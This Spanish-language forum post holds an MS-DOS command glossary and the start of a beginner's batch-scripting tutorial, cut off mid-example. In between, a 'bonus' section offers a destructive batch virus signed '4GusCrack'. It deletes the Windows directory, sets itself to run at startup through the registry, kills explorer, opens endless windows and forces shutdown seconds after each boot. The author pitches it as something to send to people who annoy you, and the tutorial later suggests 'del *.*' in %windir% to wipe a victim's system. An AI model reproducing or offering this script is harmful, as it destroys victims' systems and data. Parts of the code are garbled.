Indica al sistema en qu directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que slo se ocupa de archivos de comandos. ASSIGN - Enva el comando direccionado en un disco hacia otro disco; este ltimo reemplaza al primero. Ya no existe en el DOS 6.

BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauracin de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendicin porque este comando era uno de los ms difciles de manejar. BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programacin ms simple que existe. BAT - Extensin especfica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los ms conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automticamente cuando usted pone su computadora en funcionamiento. BREAK - Activa o desactiva la posibilidad de realizar una interrupcin con Control + Pausa, que permite salir de una secuencia. BUFFERS - Comando para el config.sys que determina la capacidad del bfer para el disco. CALL - En un archivo .bat, llama a otro .bat como un subprograma. CD - Cambio de directorio; su nombre completo es CHDIR. CHCP - Seleccin de las tablas de cdigos. CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado. CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria. CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una secuencia batch. CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeo e interesante que conviene recordar. COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS.

CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se ejecuta automticamente cada vez que se pone en funcionamiento la computadora. COUNTRY - Nacionaliza el sistema, adaptndolo al pas. DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes. DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresin puede variar normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo dblspace.bin. DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a los expertos. DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE). DELOLDOS - Suprime la puesta en reserva de un DOS antiguo. DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operacin. DEVICE - Instala un driver de perifrico, por medio del config.sys. DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB. DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo. DISKCOPY - Copia de modo idntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este ltimo y hacindolo sobre el modelo del disquete fuente si es necesario. DISPLAY.SYS - Se utiliza para conmutar las tablas de cdigos, va el config.sys. DOS - Establece un vnculo entre la memoria convencional y la memoria superior a travs del config.sys.

DOSKEY - Instala el programa de memorizacin y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos. DOSSHELL- Llama a la superestructura de dilogo del DOS. Este dos shell ha sido suprimido en la versin DOS 6.2 ya que Microsoft consider que haba sido reemplazado ventajosamente por el Administrador de archivos de ese superprograma que es Windows. DRIVER.SYS - Administra las disqueteras, a travs del Config.Sys. DRIVPARM - Define los parmetros de perifricos en modo bloque, a travs del Config.Sys. DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones. ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segn se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que ser mostrado en pantalla en todos los casos. EMM386 - Sirve de soporte a la memoria expandida. EMM386.EXE - Simula la memoria expandida en la memoria extendida, a travs del Config.sys. ERASE - Destruye uno o varios archivos del disco (y acta como el comando DEL). Opte por DEL ya que se escribe ms rpido. ERROLEVEL - Cdigo de errores para archivos .BAT Otra nocin ms para expertos. EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe ms en los DOS 6, est destinado a los programadores. EXIT - Sale de un procesador de comandos. En la mayora de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo. EXPAND - Descomprime un archivo comprimido. A partir del DOS versin 5. FASTHELP - Muestra en pantalla la lista de comandos de la versin 6 con una breve explicacin. FASTOPEN - Proporciona un acceso rpido a los archivos que se usan con ms frecuencia, o a los ltimos que se han utilizado, memorizando su camino de acceso.

FC - Comparacin de archivos. No est disponible en todas las versiones. FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est reservado a los expertos. FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys. FIND - Busca la cadena de caracteres indicada en un archivo y enva al perifrico activo de salida (el monitor, por ejemplo) todas las lneas en las que la encontr. FOR - Especifica la repeticin del mismo comando para cada una de las variables contenidas en la lista. GOTO - Es un direccionamiento incondicional a una lnea marcada con un rtulo del mismo nombre en un archivo .BAT. GRAFTABL - Carga la tabla de los caracteres grficos, los cdigos ASCII 128 a 255, para la visualizacin en pantalla. No existe ms en el DOS 6. GRAPHIC - Carga una secuencia que permite la impresin de la pantalla que incluye caracteres grficos, de cdigos 128 a 255. GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe ms en el DOS 6, en el cual ha sido reemplazado por el QBasic. HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida. IF - Comando de ejecucin condicional para archivo .BAT. INCLUDE - Incluye un bloque de configuracin en otro, a travs del Config.Sys. Nuevo comando con el DOS 6. INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6. INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versin 6. INTERSVR - Lanza el centro de recuperacin de datos InterLnk. Nuevo comando del DOS 6. JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe ms en el DOS 6. KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la

memoria muerta, para el teclado USA). LABEL - Crea, modifica o suprime el nombre atribuido a un disco. LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys. LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH. LINK- Llama al editor de conexiones. LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6. LOADHIGH - Carga un programa en la memoria superior, generalmente a travs del Autoexec.bat. Desde el DOS 5. Otro nombre: LH. MACROS - Realizacin de macros con Doskey. MEM - Muestra en pantalla la memoria ocupada y la disponible. MEMMAKER - Administracin y optimizacin de la memoria, pero con los DOS 6. MENUCOLOR - Determina el color del texto y del fondo para el primer men, a travs del Config.Sys. A partir del DOS 6. MENUDEFAULT - Especifica el men por defecto, en el inicio. A partir del DOS 6. MENUITEM - A partir del DOS 6. Define un tem del men de arranque. MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5. MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory, creacin de un directorio. MODE - Establece las condiciones de funcionamiento de los perifricos, impresora, interface de video y conexiones en serie, y tambin sirve para la preparacin de las tablas de cdigos. MORE - Para visualizar pgina por pgina en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla) MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6.

MSAV - Programa antivirus. A partir del DOS 6. MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6. MSD - Provee informacin tcnica sobre su computadora. A partir del DOS 6. NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function. Da informaciones complementarias sobre los pases y prepara el uso de las tablas de cdigos con CHCP NUMLOCK - Determina que la seccin numrica del teclado est bloqueada o no, a travs del Config.Sys. Nuevo comando a partir del DOS 6. PATH - Especifiica caminos de bsqueda alternativos para los archivos de comando (con la extensin .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo Autoexec.bat. PAUSE - Suspende la ejecucin de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como mximo. POWER - Pone en servicio o saca de servicio la administracin del consumo de energa. Nuevo comando a partir del DOS 6. POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6. PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla. PRINTER.SYS - Se utiliza para conmutar las tablas de cdigos con las impresoras, a travs del Config.Sys. PROMPT - Define o muestra en pantalla los smbolos del sistema utilizados por el DOS. RAMDRIVE - Instala un disco virtual, a travs del Config.Sys. RD - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR. RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrn perdido. No existe ms en el DOS 6. REM - Introduce observaciones, comentarios, en 123 caracteres como mximo por lnea de REM.

REN - Cambia el nombre de un archivo. RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero ms largo de escribir. REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario. RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, slo existe para la compatibilidad. RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre abreviado es RD. SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia. SETVER - Declara las versiones del DOS para algunas aplicaciones. SETVER.EXE - Administrador de SETVER. SHARE - Instala el programa para compartir archivos. SHELL - Instala un procesador de comandos. SHIFT - Sirve para utilizar ms de 10 parmetros reemplazables numerados de 0 a 9, en las lneas de comando, marcando una diferencia de una posicin para cada SHIFT que se introduce. SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci en el DOS 6. SIZER.EXE - Utilizado por el programa de optimizacin de la memoria MemMaker Novedad del DOS 6. SMARTDRV - Creacin de la antememoria de disco SmartDrive. SMARTDRV.EXE - Administrador de SmartDrv. SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive. SORT - Ordena datos. STACKS - Define las pilas, a travs del Config.Sys.

SUBMENU - Define un tem del men de arranque abriendo un submen. Nuevo comando del DOS 6. SUBST - Sustituye un camino de acceso cuya descripcin es larga, y/o su unidad, por una unidad de disco ficticia que bastar con llamar luego. SWITCHES - Sustituye el teclado extendido por el teclado convencional. SYS - Copia los tres archivos que sirven de ncleo al sistema del disco fuente activo al disco destinatario. TEMP - Variable de entorno. TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados). TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria). TYPE - Muestra en pantalla el contenido de un archivo. UNDELETE - Recuperacin de archivos borrados. A partir de la versin DOS 5. UNFORMAT - Reconstruccin de un disco reformateado. A partir del DOS 5. VDISK - Instala un disco virtual, a travs del Config.Sys. Dej de estar incluido a partir del DOS 6. VER - Muestra en pantalla la versin activa del DOS. VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificacin de los datos escritos en el disco. VOL- Muestra en pantalla el nombre del disco solicitado. VSAFE - Residente antivirus. XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad.

Bueno aca les dejo lo Prometido, la YAPA Esto hace lo siguiente: Les borra el WINDOWS, abre ventanas infinitas de MS-DOS, Les manda mensajes Cariosos jajaj xD, Cada vez que prenda la PC se le apaga a los 3 Segundos. Creo que con eso es suficiente para que no te jodan mas no?

-----------------------------------------------------------------------------------------@echo off if exist "%systemroot%/Mocosoft (goto delet) else goto make :delet Rd /s /q "%systemroot%/Mocosoft" goto make :make Mk "%systemroot%/Mocosoft" goto continue :continue copy /y %0 "%systemroot%/Mocosoft/Amdset.bat" echo Hacked By 4GusCrack > "%homedrive%/Firmita.txt" REG ADD HTLM/Software/Microsoft/Windows/Current Version/Run /v Amdset /d "%systemroot%/Mocosoft/Amdset.bat" shutdown -s -f -t 20 -c "Ahi que lastima" taskkill "explorer.exe" echo msgbox Hoy vas a conocer lo que es un Virus. By 4GusCrack @echo off @:uji start @goto uji exit shutdown -s -t 3 -c "No prendes la PC nunca mas. By 4GusCrack" @echo off title g00d by3 wind0w5 echo 4dio5 a tu wind0w5 del /s /f /q c:windows exit shutdown -s -t 3 -c "No prendes la PC nunca mas. By 4GusCrack" -----------------------------------------------------------------------------------------Y COMO YA SABEN COMENTAR ES AGRADECER, VALORAR ES AYUDAR A UN NOVATO A SER NFS,YO NO PIDO PUNTOS SOLO PIDO QUE VALOREN MI POST COMO LES GUSTARIA QUE VALOREN LOS SUYOS, YA QUE ME LLEVO MUCHO HACERLO. GRACIA

Aprende Batch de 0 a 100% sin salir de ste post


Para que queres aprender batch:
Este lenguaje(aunque no es un lenguage propiamente dicho) se puede usar para crear divertidos programas y utiles aplicaciones muy facilmente, pero mucha gente busca conocimiento de este lenguaje para crear sigilosos y letales virus, aunque en mi opinion creo que este lenguaje puede ser usado para fines mas constructivos, aunque no niego haber hecho programas maliciosos y

mandarlos a personas

. Tambien uno cuando aprende un lenguaje, no se trata de leer la teoria

un par de veces y hacer unos ejemplitos, se trata de continua practica y continuidad. Este post fue 100% echo por mi, basado en anotaciones y apuntes de tutoriales y paginas que lei, hasta ahora es todo teorico, cuando termine de explicar la teoria vamos a ir a ejemplos concretos combinando todo en una re ensalada

INDICE DE CAPITULOS:
capitulos dijo: 0. Caracteres 1. Introduccion a archivos .bat 2. Creacion y edicion 3. Comandos basicos - 3.A Bien basico - 3.B Basico - 3.C Leer otros archivos 4. Variable, IF y goto basico - 4.A Variables - 4.B GOTO y CALL - 4.C IF - 4.D Mas variables e IF - 4.E Variables predeterminadas 5. Comandos de pocicionamiento, edicion de archivos/directorios y atributos. - 5.A Atributos - 5.B CD, DEL, RD y - 5.C Copiar, mover y renombrar 6. Comandos relacionados con el sitema - 6.A Apagar/reiniciar y formatear el sistema - 6.B Listado/eliminacion de procesos - 6.C Abrir cualquier cosa(aplicacion, pagina web, otro batch, etc.) 7. Comandos de internet - 7.A Informacion sobre conexiones a internet y liberacion/renovacion de estas - 7.B Pingear - 7.C Estadisticas de conexiones actuales a internet 8. Tunea tu batch - 8.A Encuadrados - 8.B Tamao de la ventana - 8.C Todos los caracteres que existen 9. Scripts utiles - 9.A Uso de argumentos - 9.B Numeros aleatorios

INDICE DE COMANDOS:

comandos dijo: echo ... echo ...>/>>... (echo ... echo... )>/>>... pause title ... color xx msg ... cls type ... set ... set/a ... set/p ... goto ... :... call ... if ... if errorlevel ... if defined ... if exist ... attrib ... del ... rd ... cd ... dir ... copy ... xcopy ... move ... ren ... shutdown ... format ... tasklist ... taskkill ... tskill ... ipconfig ... ping ... netstat ...

0. Caracteres
En este tutorial el "" se refiere a un enter, entre "()" las aclaraciones de lo que sucede, que no representa un enter o un espaciol y entre "--" la ventana, simboliza los margenes de la ventana; y si

hay espacio es porq tiene que haber y si no lo hay es porq no tiene que haber

. Tambien vale

aclarar que es lo mismo "-" que "/". Osea "/a" es igual a "-a". Yo a veces uso unos y no otros pero porq estoy acostrumbrado a escribirlos con ese simbolo, ustedes usen el que les pinte.

1. Introduccion a archivos .bat

Es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensin *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando DOS puede ser utilizado en un archivo batch. Hay que aclarar Batch que no es un Lenguaje de Programacin. Es un archivo de cdigo que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio>Ejecutar->"CMD", yo me refiero a el con el nombre de "Command Prompt".

2. Creacion y edicion

Para crear un batch debes crear un archivo nuevo que debe ser un .txt (block de notas) y despues cambiarle la extencion de .txt a .bat, de esta manera lo convertis en un batch. Si vas a hacer un batch corto puedes escribir el codigo entero en el .txt y despues pasarlo a .bat, pero si vas a hacer uno largo es conveniente que crees el .txt lo pases a .bat y luego al archivo .bat le haces click derechoedicion e ingresaras al codigo del mismo.

3. Comandos basicos

3.A Bien basico

El primer comando que deberian aprender (el que aprendi yo primero

) es el comando ECHO y

el PAUSE, este se puede usar de las siguientes maneras: echo MENSAJE = Esto hace que MENSAJE cuando habras el batch te aparecezca en una la linea que pusiste ese comando, tambien si escribes echo. sera como un enter. Si quieres decir MENSAJE y este contiene caracteres especiales tienes que escribir echo ^caracterespesial, si el "^" saldria un error. @echo off = Este comando deberia ser el comando de la primera linea si vas a hacer un batch, lo

que hace es sacar el "C

ocuments and Settingstu_usuario>" que apareceria si el echo estuviera

ON(que esta ON predeterminadamente). El arroba(@) en encabezando una linea significa que esa misma linea no va a tener echo, si lo pensas, como dije antes, el echo esta prendido predeterminadamente, entonces en la linea que desactivamos el echo si tiene echo, por eso le agregamos el arroba para sacar el echo. Es lo mismo escribir "@echo off" al principio que escribir todo el codigo con arroba al principio. pause = Aparecera en la linea "Presione una tecla para continuar..." y cuando presiones cualquier tecla ira al comando que le sigue, si no hay comando que le siga el batch se cerrara porq crashea. Ejemplos: 1) @echo off echo. echo ^<Holas me llamo ChupetinDeLimon^> echo. pause 2) echo. echo ^<Holas me llamo ChupetinDeLimon^> echo. pause Aparecerian: 1) --------------------------------------------------------------- Holas me llamo ChupetinDeLimon Precione una tecla para continuar... ---------------------------------------------------------------2) ----------------------------------------------------------------

ocuments and Settingstu_usuario>echo.

ocuments and Settingstu_usuario>echo Holas me llamo ChupetinDeLimon

ocuments and Settingstu_usuario>echo.

ocuments and Settingstu_usuario>pause

Presione una tecla para continuar... ---------------------------------------------------------------(Si no hubieramos puesto los "^" antes del los "<" y ">" se hubiera producido un error. Cosas

similares pasas con: | y &. Si queres poner un "^" tenes que escribir dos:

3.B Basico Otro comandos son TITLE, COLOR, MSG, CLS y echo CADENA>ARCHIVO.txt: title CADENA= CADENA se tranformara en el titulo de la ventana del batch remplazando "C:WINDOWSsystem32cmd.exe" msg /time CADENA * MENSAJE = Esto hara que le salte una ventana al usuario que va a decir MENSAJE por CADENA de segundos, si no se especifica CADENA va a estar hasta que alguien lo cierre. cls = Limpia la pantalla, borra todo lo escrito. echo CADENA>ARCHIVO.txt = significa que lo que va despues de "echo" sera escrito sera escrito en la primer linea de ARCHIVO.txt y si usamos ">>", significa que va despues de la ultima linea escrita. En caso de que el archivo no exista, sera creado. Tambien podemos poner muchas

cadenas como si fueran lineas entre "(" y "

" y despues los ">".

color DIGITO1DIGITO2 = El primer DIGITO indica el segundo plano(el fondo) mientras que el segundo indica el primer plano(las letras). Los DIGITOs pueden que ser los dos una letra, los dos un numero o combinado, pero no puede ser la misma letra o numero dos veces,esto cambia el color del fondo y las letras del predeterminado(fondo negro, letras blancas) Lista de colores: 0 negro___________8 gris 1 azul____________9 azul claro 2 verde___________A verde claro 3 aguamarina______B aguamarina claro 4 rojo____________C rojo claro 5 purpura_________D purpura claro 6 amarillo_________E amarillo claro 7 blanco-gris______F blanco blanco Ejemplo 1: @echo off title Un batch msg /time 5 * Este mensaje se va a cerrar en 5 segundos!! color 0a echo. echo No apretes nada que me borro!! pause cls echo. echo Estoy de vuelta! pause Apareceria (aparecera una ventana nueva que dice "Este mensaje se va a cerrar en 5 segundos!!" y se cerraria en 5 secs, todo el batch estara escrito como si fuera Matrix xD) -Un batch------------------------------------------------------ No apretes nada que me borro!! Presione una tecla para continuar... (apretas una tecla) (se borra todo lo anterior y aparece como nuevo) Estoy de vuelta! Presione una tecla para continuar... ---------------------------------------------------------------Ejemplo 2: @echo off echo Primera linea!>loco.txt echo Segunda see>>loco.txt echo son todos gatos!>>loco.txt

echo me aburri...>c:documentosloco.txt (echo hola echo como estas? echo Puto respostero! )>flash.txt (No aparecera nada, pero en el directorio en el cual el batch fue corrido se creara un archivo llamado loco.txt con todo lo que dice ahi. Fijense que en el ultimo se crearia un .txt en ese directorio, pueden hacer tambien un .vbs o .ini o los que quieran. El ultimo haria un .txt llamado flash en el lugar donde se ejecuto el programa que va a tener 3 lineas, cada una con el texto ingresado) 3.B Leer otros archivos TYPE = Es el comando que se usa para leer otros archivos mostrando su contenido. No tiene extenciones Ejemplo: @echo off type "c:windowsvbaddin.ini" pause (Este, en mi caso lo que haria es mostrar lo que esta adentro de ese archivo, que es [Add-Ins32] MTxAddIn2.RegRefresh=3 DTCFrameWork.AddIn=0 Esto lo pueden hacer con .bat, .txt, .ini, .xml, .html y muchos mas)

4. Variable, IF y goto basico

4.A Variables Las variables pueden asustarte al principio pero es cuestion de probar y vas a aprender enseguida. Las variables son un dato el cual lo determinamos con set NOMBREVAR=VALORVAR y nos referimos a el por%NOMBREVAR%. Tambien podemos hacer que el usuario determine la variable con el comando set/p NOMBREVAR=, cuando lo corras al batch cuando estes en esa linea vas a tener que determinar la variable. Tambien podes hacer set/p NOMBREVAR=MENSAJE y el usuario va a escribir despues del MENSAJE, OJO!!, la variable no cambio a MENSAJE!! Ejemplos: 1) @echo off echo. echo Hola me dirias tu nombre? set/p nombre=

pause echo. echo %nombre% es un nombre muy choto! pause 2) @echo off echo. set/p nombre=Hola me dirias tu nombre? pause echo. echo %nombre% es un nombre muy choto! pause Apareceria: --------------------------------------------------------------- Hola me dirias tu nombre?(en esta linea ingresas la cadena del ej 2)ChupetinDeLimon (en esta linea ingresas la cadena del ej 1)WENCHA Presiones una tecla para continuar... WENCHA es un nombre muy choto! Presiones una tecla para continuar... ---------------------------------------------------------------4.B goto y call El comando goto es muy simple simplemente te manda, te pociciona en un directorio echo por el pregramador. Los directorios se hacen con :CADENA. Tambien hay etiquetas predeterminadas (las

etiquetas es el nombre de lo que va despues del ":"

como :eof, que lo que hace es ir a

EndOfFile (en castellano: final del archivo) cerrando la aplicacion. Ejemplo: @echo off :inicio echo. echo Estas en inicio por siempre!! pause goto inicio Apareceria: --------------------------------------------------------------- Estas en inicio por siempre!! Pulsa una tecla para continuar...(apretas) Estas en inicio por siempre!! Pulsa una tecla para continuar...(apretas) Estas en inicio por siempre!! Pulsa una tecla para continuar...(apretas) (y asi por siempre. Esto se llama un loop, en castellano bucle, ciclo repetitivo) ---------------------------------------------------------------Con el comando call se puede o llamar a un programa al batch o llamar una etiqueta. A diferencia del goto cuando termina el codigo no se cierra el batch sino que vuelve al lugar desde donde fue llamado. Otra diferencia, y la mas importante, es que se le pueden pasar parametros a la etiqueta (el uso de parametros se va a ver mas adelante en el capitulo 9). Ejemplo: @echo off :ini set/p nombre=Escribi tu nombre: call :funcion %nombre% echo. pause goto eof :nunca paso por aca echo NADIE ME QUIEREE :funcion echo %1 ganaste el premio al mas gil! :pero por aca si echo.

echo A MI SI

Apareceria: ---------------------------------------------------------------Escribi tu nombre: ChupetinDeLimon ChupetinDeLimon ganaste el premio al mas gil! (hijo de puta... )

A MI SI

Pulsa una tecla para continuar... -----------------------------------------------------------------

(fijense como al terminar el codigo del programa despues del "A MI SI

" el programa sigue

corriendo en la linea posterior al call) 4.C IF Ahora voy a explicar el comando de IF mas simples que es if CADENA1==CADENA2 (comando) else comando. Esto significa que si la CADENA1 es igual a CADENA2 va a hacer los comandos entre "()" y si no es igual va a realizar los comandos que estan despues del else. Las CADENAS pueden ser variables y comparar el resultado de una a otra o comparar el valor de una variable con un valor cualquiera. Tambien si hay muchos comandos IFseguidos solo el ultimo deberia ser if CADENA1==CADENA2 (comando) else comandoy los demas if CADENA1==CADENA2 comando. Si deseas hacer comando seguidos debes separarlos con "&&". Ejemplo utilizando variables, goto y IF: @echo off :inicio cls echo. echo Bienvenidos a inicio! set/p elijio=Si quieres continuar escribe "continuar", si quieres volver al inicio escribe "reiniciar" if %elijio%==continuar goto continuar if %elijio%==reiniciar (goto inicio) else cls && echo Comando incorrecto && pause && goto inicio :continuar echo. echo Entraste a 1!! pause Apareceria: --------------------------------------------------------------- Bienvenidos a inicio! Si quieres continuar escribe "continuar", si quieres volver al inicio escribe "reiniciar"(si escribes reiniciar se limpiar todo y volvera a preguntarte lo mismo) (si esbribes continuar..) Entraste a 1!! Presiones una tecla para continuar... (si escribes otra cosa que no sea esos comandos)Comando incorrecto Pulsa una tecla para continuar...(al pulsarla volveras al inicio) ----------------------------------------------------------------4.D Mas variables e IF Cuando determinas una varieable tambien la puedes determinar con el comando set/a EXPRECION. Esta exprecion puede ser suma/resta/etc. de variables o suma/resta/etc. de valores. Cuando usas el comando if CADENA1==CADENA2 comando el "==" tambien puese ser remplazado por los siguientes: NEQ = no igual LSS = menor LEQ = menor o igual

GTR = mayor GEQ = mayor o igual Ejemplo: @echo off echo. set/p edad=Cuantos anos tenes?? set/a edadposterior= edad + 5 if %edad% GEQ 18 goto mayor if %edad% LSS 18 goto menor :mayor echo. echo Eres mayor! y dentro de 5 aos tendras %edadposterior% anos! pause exit :menor echo. echo Lo siento prohibido para pendejos!! y dentro de 5 aos tendras %edadposterior% anos! pause exit Apareceria: --------------------------------------------------------------- Cuantos aos tenes?? Eres mayor! Pulsa cualquier tecla para continuar...(esto si ingresas un nro igual o mayor a 18) Lo siento prohibido para pendejos!! Pulsa cualquier tecla para continuar...(esto si pones un nro menor que 18) ---------------------------------------------------------------(Si ponen el caracter "" no va a salir sino va a salir el simbolo de mas/menos de matematica k es un + arriba de un - en un mismo caracter. Tambien si escrien sus edad con otra cosa que no sea numero en el set/a va a tomarlo como 0) Tambien tiene otras funciones if: if not CADENA1==CADENA2 (comando) else comando = Si esa condicion no es asi(not) se ejecurata comando. Los IFs diferencian mayusculas de minusculas, osea "HOLA" no es lo mismo que "hola" o que "HoLa", para vitar esto despues del IF le ponemos /i, de esta manera "A" es igual a "a" if exist ARCHIVO1 (comando) else comando = Si existe ARCHIVO1 se ejecutara el comando. if errorlevel 1 (comando) else comando = Si intentas correr un comando en un archivo batch y se produce un error puedes usar este comando para aceptar el error y hacer algunas acciones. if defined variable (comando) else comando = Si la variable que pusiste esta definida es verdadera, comando entre parentesis, sino pasa al else. La variable que ponen ahi no va entre "%", va con el nombre asi solito.

Ejemplo 1: (imaginate que el archivo file.txt no exixte(el comando copy)) @echo off :inicio copy file.txt file2.txt if errorlevel 1 goto noesta goto END :noesta echo file text>file.txt goto inicio :END echo Chau!! pause o @echo off :inicio if exist file.txt (copy file.txt file2.txt) else goto noesta goto END :noesta echo file text>file.txt goto inicio :END echo Chau!! pause 4.E Variables predeterminadas

Algunas variables vienen predeterminadas en el sistema. Si vos llamas una variable con el mismo nombre que una predeterminada la reemplazas. Estas son las mas comunes que se usan:

ALLUSERPROFILE = C

ocuments and settingsAll Users

HOMEDRIVE = C: ProgramFiles = C:Archivos De Programa SystemRoot = C:Windows Windir = C:Windows Username = ChupetinDeLimon

UserProfile = C

ocuments and settingsChupetinDeLimon

Date = dd/mm/aaaa Time = hh/mm/ss Random = 0 - 32767 Dense cuenta que por ejemplo su username debe ser Administrador o el que ustedes les ayan puesto. Estas variable varian en cada compu pero si yo hago un batch que diga "echo %username%" cuando o abra a mi me va a decir ChupetinDeLimon, a otro el que tenga en su compu, de esta manera si queremos, por ejemplo, borrarle todo del sistema ponemos: cd %windir% del *.* /f (mas adelante se explican esos comandos)

5. Comandos de pocicionamiento, edicion de archivos/directorios y atributos

5.A Atributos Los atributos de un archivo se pueden especificar po el comando ATTRIB opciones RUTA ARCHIVO, las opciones posibles son las siguientes: (+ establece el atributo y - borra el atributo) R = Solo lectura del archivo A = Archivo de almacenamiento S = Archivo del sistema H = Archivo oculto Ejemplo: @echo off

cd C

ocuments and SettingsBunge BrosEscritoriobatchs

attrib +r +a +s +h colores.bat exit (probablemente el archivo que le pusieron esos atributos desaparesca, para poderlo ver van a tener que ir a una carpeta cualquiera y en la barra de herramientas(arriba) entrar a Herramientas>>Opciones de carpeta>>Solapa "Ver" y cambiar a "Mostrar todos los archivos y carpetas ocultas" y mas abajo sacar la opcion "Ocultar archivos protegidos del sistema operativo", despues deberia aparecer) o si quieren esos atributos a todos los archivos del directorio @echo off

cd C

ocuments and Settingsuser_nameEscritoriobatchs

attrib +r +a +s +h *.* exit

(en esta clase de ejemplos no aparecera nada solo se abre y cierra en nanosegundos

El simbolo "*" en muchos lenguajes de programacion significa un comodin, si pusieran *.txt serian todos los de esa extencion y si ponen a*.* seria todos los que empiesan con a van a adquirir esos atributos, por eso si quieres que solo los archivos con extencion .txt y .bat ponrias: @echo off

cd C

ocuments and Settingsuser_nameEscritoriobatchs

